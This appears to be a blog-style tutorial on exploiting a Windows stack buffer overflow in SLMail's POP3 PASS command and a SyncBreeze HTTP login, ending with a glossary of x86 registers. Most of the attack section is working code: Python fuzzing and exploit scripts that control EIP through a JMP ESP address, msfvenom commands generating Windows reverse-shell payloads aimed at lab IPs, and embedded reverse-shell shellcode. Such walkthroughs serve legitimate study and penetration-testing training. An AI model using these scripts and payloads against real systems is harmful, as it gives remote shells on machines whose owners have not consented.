Buffer Overflow (Windows)
Post

Buffer Overflow (Windows)

Setting up the Immunity Debugger

First open it as administrator, then attach the process on “File” menu and then select the service and don’t forget to click on “Play”:

Description

Install mona.py

Download from github corelan mona.py and install on C:\\Program Files\\Immunity Inc\\Immunity Debugger\\PyCommands (Drag & Drop).

Calculate Buffer

With python and pwntools we can send a payload to crash the application:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/python3
#coding: utf-8

from pwn import *
import socket,sys

if len(sys.argv) < 2:
        print("\n[!] Usage: " + sys.argv[0] + "<ip-address>\n")
        sys.exit(0)

# Variables globales
ip_address = sys.argv[1]
rport = 110

if __name__ == '__main__':

        buffer = ["A"]
        count = 100

        while len(buffer) < 32:
                buffer.append("A"*count)
                count += 350

        p1 = log.progress("Data")

        for strings in buffer:

                try:
                        p1.status("Sending %s bytes" % len(strings))
                        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                        s.connect((ip_address, rport))

                        s.recv(1024)

                        s.send(b'USER shuciran\r\n')
                        s.recv(1024)
                        s.send(b'PASS '  + strings.encode('utf-8') + b'\r\n')
                        s.recv(1024)

                except:
                        print("\nConnection Error\n")
                        sys.exit(1)

We’ll see an image as shown below on Immunity if the application crashes:

Description

Then we proceed to search the memory string “75 1c” which will be at memory address 08048667

Controlling EIP

If the application crash after a big payload, now is time to find at which point is the EIP crashing, to create the string for our proof of concept with msf-pattern_create, we pass the -l parameter, which defines the length of our required string (2800):

1
2
3
msf-pattern_create -l 2800
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak
...

The next step is to update our Python script, replacing the existing buffer of 2800 A’s with this new unique string:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python3
#coding: utf-8

from pwn import *
import socket,sys

if len(sys.argv) < 2:
        print("\n[!] Usage: " + sys.argv[0] + "<ip-address>\n")
        sys.exit(0)

# Variables globales
ip_address = sys.argv[1]
rport = 110

if __name__ == '__main__':

        buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds"
        try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip_address, rport))
                s.recv(1024)
                s.send(b'USER shuciran\r\n')
                s.recv(1024)
                s.send(b'PASS ' + buffer.encode('utf-8') + b'\r\n')
                s.recv(1024)
                s.close()
        except:
                print("\n[!] Unsuccessful\n")

The EIP register has been overwritten with 39694438, the hexadecimal representation of the four characters “B0aB”. Knowing this, we can use the companion to pattern_create.rb, named pattern_offset.rb, to determine the offset of these specific four bytes in our string. In Kali, this script can be run from any location with msf-pattern_offset.

Description

To find the offset where the EIP overwrite happens, we can use -l to specify the length of our original string (in our case 800) and -q to specify the bytes we found in EIP (42306142):

1
2
msf-pattern_offset -q 39694438
[*] Exact match at offset 2606

Proceed to create the payload using the output of previous command (2606), keep in mind that junk will fill the stack before the EIP so we’ll fill the EIP with four (4) B’s:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python3
#coding: utf-8

from pwn import *
import socket,sys

if len(sys.argv) < 2:
        print("\n[!] Uso python " + sys.argv[0] + "<ip-address>\n")
        sys.exit(0)

# Variables globales
ip_address = sys.argv[1]
rport = 110

if __name__ == '__main__':

        junk = "A"*2606
        eip = "BBBB"
#       offset = "C"*100
        try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip_address, rport))
                s.recv(1024)
                s.send(b'USER shuciran\r\n')
                s.recv(1024)
                s.send(b'PASS ' + junk.encode('utf-8') + eip.encode('utf-8') + offset.encode('utf-8') + b'\r\n')
                s.recv(1024)
                s.close()
        except:
                print("\n[!] Programa no exitoso\n")

Then immunity will show as follows: Description

Let’s repeat the previous steps by now injecting some other characters after this EIP (uncomment variable offset from previous code), this will be stored at ESP address which then we can abuse and inject our shellcode for remote code execution.

BAD CHARACTERS

First of all let’s create a work environment, by using the following command on immunity debugger (remember to install mona.py):

1
!mona config -set workingfolder C:\Users\exter\Desktop\%p

The folder will not be created until you execute your first command, which will be the bad characters bytearray which will allow us to avoid using special characters like carrier return, linebreak, tabulator and so on, which can avoid the shellcode to execute correctly:

1
!mona bytearray

This will create the file bytearray inside the folder named as per the attached service:

Description

A bad char will crash the service after EIP execution so it is important to avoid shellcode with them, so we will need the ESP memory addres in order to compare which ones, as shown in the image below:

Description

The utility compare from mona.py can assist us to find them, for that we need to execute the following command where the bytearray.bin is within the folder created after execute the bytearray utility:

1
!mona compare -f C:\Users\exter\Desktop\SLMail\bytearray.bin -a 0196A128

Output: Description

Then we proceed to create a new bytearray using the bytearray utility with mona but this time excluding the bad char recently found:

1
!mona bytearray -cpb "\x00"

We need to delete this bad char from our array of bad chars generated initially and then send the payload once again, dump the memory of ESP and see which bad char is not present now this can also be exploited with compare utility:

1
!mona compare -f C:\Users\exter\Desktop\SLMail\bytearray.bin -a 024BA128

Description

Once again we execute the bytearray utility to generate a payload with bad chars 00 and 0A:

1
!mona bytearray -cpb "\x00\x0A"

SHELLCODE

After we get the bad chars, we then proceed to generate our payload without bad characters with msfvenom:

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.246.147 LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x01\x0A\x0B\x0D\x80\x81\x82" -a x86 --platform windows

If the shellcode can’t be created due to lot of badchars omit the encoder and also the file and the platform and architecture also adding EXITFUNC=thread is a good idea for stability.

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.246.147 LPORT=443 EXITFUNC=thread -f c –a x86 --platform windows -b "\x00\x01\x0A\x0B\x0D\x80\x81\x82" 

Finding a Return Address

We can still store our shellcode at the address pointed to by ESP, but we need a consistent way to get that code executed. One solution is to leverage a JMP ESP instruction, which as the name suggests, “jumps” to the address pointed to by ESP when it executes. If we can find a reliable, static address that contains this instruction, we can redirect EIP to this address and at the time of the crash, the JMP ESP instruction will be executed. This “indirect jump” will lead the execution flow into our shellcode.

Many support libraries in Windows contain this commonly-used instruction but we need to find a reference that meets certain criteria. First, the addresses used in the library must be static, which eliminates libraries compiled with ASLR support. Second, the address of the instruction must not contain any of the bad characters that would break the exploit, since the address will be part of our input buffer.

We can use the Immunity Debugger script, mona.py. First we will request information about all DLLs (or modules) loaded by SLMail into the process memory space with:

1
!mona modules

Will produce the output shown below:

Description

The columns in this output include the current memory location (base and top addresses), the size of the module, several flags, the module version, module name, and the path.

However, SLmail.exe it always loads at the base address 0x00400000, meaning all instructions’ addresses (0x004XXXXX) will contain null characters, which are not suitable for our buffer.

Searching through the output, we find that SLMFC.DLL also suits our needs and the address range doesn’t seem to contain bad characters. This is perfect for our needs. Now we need to find the address of a naturally-occurring JMP ESP instruction within this module.

Advanced tip: If this application was compiled with DEP support, our JMP ESP address would have to be located in the text code segment of the module, as that is the only segment with both Read (R) and Executable (E) permissions. However, since DEP is not enabled, we are free to use instructions from any address in this module.

We can use mona.py to perform an exhaustive search for the binary or hexadecimal representation (or opcode) of the assembly instruction.

To find the opcode equivalent of JMP ESP, we can use the Metasploit NASM Shell ruby script, msf-nasm_shell, which produces the following results:

1
2
3
4
kali@kali:~$ msf-nasm_shell
nasm > jmp esp
00000000  FFE4              jmp esp
nasm >

We can search for JMP ESP using the hex representation of the opcode (0xFFE4) in all sections of SLMFC.DLL with mona.py find.

We will specify the content of the search with -s and the escaped value of the opcode’s hex string, ”\xff\xe4”. Additionally, we provide the name of the required module with the -m option.

1
!mona find -s "\xff\xe4" -m "SLMFC.DLL"

Finding-JMP-ESP

In this example, the output reveals a lot of addresses containing a JMP ESP instruction (0x5F4A358F), and fortunately, the first address does not contain any of our bad characters.

To view the contents of 0x5F4A358F in the disassembler window, while execution is paused, we will click the “Go to address in Disassembler” button as shown below and enter the address. From here we can see that it does indeed translate to a JMP ESP instruction.

Jumping-to-JMP-ESP

If we redirect EIP to this address at the time of the crash, the JMP ESP instruction will be executed, which will lead the execution flow into our shellcode.

We can test this by updating the eip variable to reflect this address in our proof of concept, remember to add the memory address on Little Endian:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/python3
#coding: utf-8

from pwn import *
import socket,sys

if len(sys.argv) < 2:
        print("\n[!] Uso python " + sys.argv[0] + "<ip-address>\n")
        sys.exit(0)

# Variables globales
ip_address = sys.argv[1]
rport = 110

if __name__ == '__main__':

        junk = "A"*2606
        eip = "\x8F\x35\x4A\x5F"
        shellcode = ("\xbb\xba\x60\xbb\x95\xdb\xcd\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x5d\x12\x83\xed\xfc\x03\xe7\x6e\x59\x60\xeb\x87\x1f"
"\x8b\x13\x58\x40\x05\xf6\x69\x40\x71\x73\xd9\x70\xf1\xd1\xd6"
"\xfb\x57\xc1\x6d\x89\x7f\xe6\xc6\x24\xa6\xc9\xd7\x15\x9a\x48"
"\x54\x64\xcf\xaa\x65\xa7\x02\xab\xa2\xda\xef\xf9\x7b\x90\x42"
"\xed\x08\xec\x5e\x86\x43\xe0\xe6\x7b\x13\x03\xc6\x2a\x2f\x5a"
"\xc8\xcd\xfc\xd6\x41\xd5\xe1\xd3\x18\x6e\xd1\xa8\x9a\xa6\x2b"
"\x50\x30\x87\x83\xa3\x48\xc0\x24\x5c\x3f\x38\x57\xe1\x38\xff"
"\x25\x3d\xcc\x1b\x8d\xb6\x76\xc7\x2f\x1a\xe0\x8c\x3c\xd7\x66"
"\xca\x20\xe6\xab\x61\x5c\x63\x4a\xa5\xd4\x37\x69\x61\xbc\xec"
"\x10\x30\x18\x42\x2c\x22\xc3\x3b\x88\x29\xee\x28\xa1\x70\x67"
"\x9c\x88\x8a\x77\x8a\x9b\xf9\x45\x15\x30\x95\xe5\xde\x9e\x62"
"\x09\xf5\x67\xfc\xf4\xf6\x97\xd5\x32\xa2\xc7\x4d\x92\xcb\x83"
"\x8d\x1b\x1e\x03\xdd\xb3\xf1\xe4\x8d\x73\xa2\x8c\xc7\x7b\x9d"
"\xad\xe8\x51\xb6\x44\x13\x32\x79\x30\xed\x51\x11\x43\x11\x57"
"\x59\xca\xf7\x3d\x8d\x9b\xa0\xa9\x34\x86\x3a\x4b\xb8\x1c\x47"
"\x4b\x32\x93\xb8\x02\xb3\xde\xaa\xf3\x33\x95\x90\x52\x4b\x03"
"\xbc\x39\xde\xc8\x3c\x37\xc3\x46\x6b\x10\x35\x9f\xf9\x8c\x6c"
"\x09\x1f\x4d\xe8\x72\x9b\x8a\xc9\x7d\x22\x5e\x75\x5a\x34\xa6"
"\x76\xe6\x60\x76\x21\xb0\xde\x30\x9b\x72\x88\xea\x70\xdd\x5c"
"\x6a\xbb\xde\x1a\x73\x96\xa8\xc2\xc2\x4f\xed\xfd\xeb\x07\xf9"
"\x86\x11\xb8\x06\x5d\x92\xc8\x4c\xff\xb3\x40\x09\x6a\x86\x0c"
"\xaa\x41\xc5\x28\x29\x63\xb6\xce\x31\x06\xb3\x8b\xf5\xfb\xc9"
"\x84\x93\xfb\x7e\xa4\xb1")
        try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip_address, rport))
                s.recv(1024)
                s.send(b'USER shuciran\r\n')
                s.recv(1024)
                s.send(b'PASS ' + junk.encode('utf-8') + eip.encode('utf-8') + shellcode.encode('utf-8') + b'\r\n')
                s.recv(1024)
                s.close()
        except:
                print("\n[!] Programa no exitoso\n")

Using @ in the debugger, we will place a breakpoint at address 0x10090c83 in order to follow the execution of the JMP ESP instruction, and then we run our exploit again. The result is shown below:

Debugger-Immunity-JMP-ESP

Our debugger shows that we did in fact reach our JMP ESP and hit the breakpoint we previously set. But the shell may not work as it is using x86/shikata_ga_nai as encoder

If you use x86/shikata_ga_nai then you need to use NOPs

Because of the shellcode is encoded and needs some time for decoding. A NOP is most commonly used for timing purposes, to force memory alignment, to prevent hazards, to occupy a branch delay slot, to render void an existing instruction such as a jump.

So we need to add a little adjust on our payload before the shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/python
import socket

try:
  print "\nSending evil buffer..."

  shellcode = ("\xbe\x55\xe5\xb6\x02\xda\xc9\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
  "\x52\x31\x72\x12\x03\x72\x12\x83\x97\xe1\x54\xf7\xeb\x02\x1a"
  "\xf8\x13\xd3\x7b\x70\xf6\xe2\xbb\xe6\x73\x54\x0c\x6c\xd1\x59"
  "\xe7\x20\xc1\xea\x85\xec\xe6\x5b\x23\xcb\xc9\x5c\x18\x2f\x48"
  "\xdf\x63\x7c\xaa\xde\xab\x71\xab\x27\xd1\x78\xf9\xf0\x9d\x2f"
  "\xed\x75\xeb\xf3\x86\xc6\xfd\x73\x7b\x9e\xfc\x52\x2a\x94\xa6"
  "\x74\xcd\x79\xd3\x3c\xd5\x9e\xde\xf7\x6e\x54\x94\x09\xa6\xa4"
  "\x55\xa5\x87\x08\xa4\xb7\xc0\xaf\x57\xc2\x38\xcc\xea\xd5\xff"
  "\xae\x30\x53\x1b\x08\xb2\xc3\xc7\xa8\x17\x95\x8c\xa7\xdc\xd1"
  "\xca\xab\xe3\x36\x61\xd7\x68\xb9\xa5\x51\x2a\x9e\x61\x39\xe8"
  "\xbf\x30\xe7\x5f\xbf\x22\x48\x3f\x65\x29\x65\x54\x14\x70\xe2"
  "\x99\x15\x8a\xf2\xb5\x2e\xf9\xc0\x1a\x85\x95\x68\xd2\x03\x62"
  "\x8e\xc9\xf4\xfc\x71\xf2\x04\xd5\xb5\xa6\x54\x4d\x1f\xc7\x3e"
  "\x8d\xa0\x12\x90\xdd\x0e\xcd\x51\x8d\xee\xbd\x39\xc7\xe0\xe2"
  "\x5a\xe8\x2a\x8b\xf1\x13\xbd\xbe\x0e\x1b\x2f\xd7\x12\x1b\x4e"
  "\x9c\x9a\xfd\x3a\xf2\xca\x56\xd3\x6b\x57\x2c\x42\x73\x4d\x49"
  "\x44\xff\x62\xae\x0b\x08\x0e\xbc\xfc\xf8\x45\x9e\xab\x07\x70"
  "\xb6\x30\x95\x1f\x46\x3e\x86\xb7\x11\x17\x78\xce\xf7\x85\x23"
  "\x78\xe5\x57\xb5\x43\xad\x83\x06\x4d\x2c\x41\x32\x69\x3e\x9f"
  "\xbb\x35\x6a\x4f\xea\xe3\xc4\x29\x44\x42\xbe\xe3\x3b\x0c\x56"
  "\x75\x70\x8f\x20\x7a\x5d\x79\xcc\xcb\x08\x3c\xf3\xe4\xdc\xc8"
  "\x8c\x18\x7d\x36\x47\x99\x8d\x7d\xc5\x88\x05\xd8\x9c\x88\x4b"
  "\xdb\x4b\xce\x75\x58\x79\xaf\x81\x40\x08\xaa\xce\xc6\xe1\xc6"
  "\x5f\xa3\x05\x74\x5f\xe6")

  filler = "A" * 780
  eip = "\x83\x0c\x09\x10"
  offset = "C" * 4
  nops = "\x90" * 10

  inputBuffer = filler + eip + offset + nops + shellcode
  
  content = "username=" + inputBuffer + "&password=A"

  buffer = "POST /login HTTP/1.1\r\n"
  buffer += "Host: 10.11.0.22\r\n"
  buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
  buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
  buffer += "Accept-Language: en-US,en;q=0.5\r\n"
  buffer += "Referer: http://10.11.0.22/login\r\n"
  buffer += "Connection: close\r\n"
  buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
  buffer += "Content-Length: "+str(len(content))+"\r\n"
  buffer += "\r\n"
  
  buffer += content

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("10.11.0.22", 80))
  s.send(buffer)
  
  s.close()
  
  print "\nDone did you get a reverse shell?"
  
except:
  print "\nCould not connect!"

Threads

The default exit method of Metasploit shellcode following its execution is the ExitProcess API. This exit method will shut down the whole web service process when the reverse shell is terminated, effectively killing the SyncBreeze service and causing it to crash.

To instruct msfvenom to use the ExitThread method during shellcode generation, we can use the EXITFUNC=thread option as shown in the command below:

1
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"

WEBSITE Example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python
import socket

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

try:
  print "\nSending evil buffer..."
  
  filler = "A" * 780
  eip = "B" * 4
  offset = "C" * 4

  inputBuffer = filler + eip + offset + badchars
  
  content = "username=" + inputBuffer + "&password=A"
...

Glossary

CPU Registers

To perform efficient code execution, the CPU maintains and uses a series of nine 32-bit registers (on a 32-bit platform). Registers are small, extremely high-speed CPU storage locations where data can be efficiently read or manipulated. These nine registers, including the nomenclature for the higher and lower bits of those registers, is shown in Figure 3.

Description

The register names were established for 16-bit architectures and were then extended with the advent of the 32-bit (x86) platform, hence the letter “E” in the register acronyms. Each register may contain a 32-bit value (allowing values between 0 and 0xFFFFFFFF) or may contain 16-bit or 8-bit values in the respective subregisters as shown in the EAX register in Figure 4.

Description

General Purpose Registers

Several registers, including EAX, EBX, ECX, EDX, ESI, and EDI are often-used as general purpose registers to store temporary data. There is much more to this discussion (as explained in various online resources), but the primary registers for our purposes are described below:

  • EAX (accumulator): Arithmetical and logical instructions
  • EBX (base): Base pointer for memory addresses
  • ECX (counter): Loop, shift, and rotation counter
  • EDX (data): I/O port addressing, multiplication, and division
  • ESI (source index): Pointer addressing of data and source in string copy operations
  • EDI (destination index): Pointer addressing of data and destination in string copy operations

ESP - The Stack Pointer

As previously mentioned, the stack is used for storage of data, pointers, and arguments. Since the stack is dynamic and changes constantly during program execution, ESP, the stack pointer, keeps “track” of the most recently referenced location on the stack (top of the stack) by storing a pointer to it.

A pointer is a reference to an address (or location) in memory. When we say a register “stores a pointer” or “points” to an address, this essentially means that the register is storing that target address.

EBP - The Base Pointer

Since the stack is in constant flux during the execution of a thread, it can become difficult for a function to locate its own stack frame, which stores the required arguments, local variables, and the return address. EBP, the base pointer, solves this by storing a pointer to the top of the stack when a function is called. By accessing EBP, a function can easily reference information from its own stack frame (via offsets) while executing.

EIP - The Instruction Pointer

EIP, the instruction pointer, is one of the most important registers for our purposes as it always points to the next code instruction to be executed. Since EIP essentially directs the flow of a program, it is an attacker’s primary target when exploiting any memory corruption vulnerability such as a buffer overflow.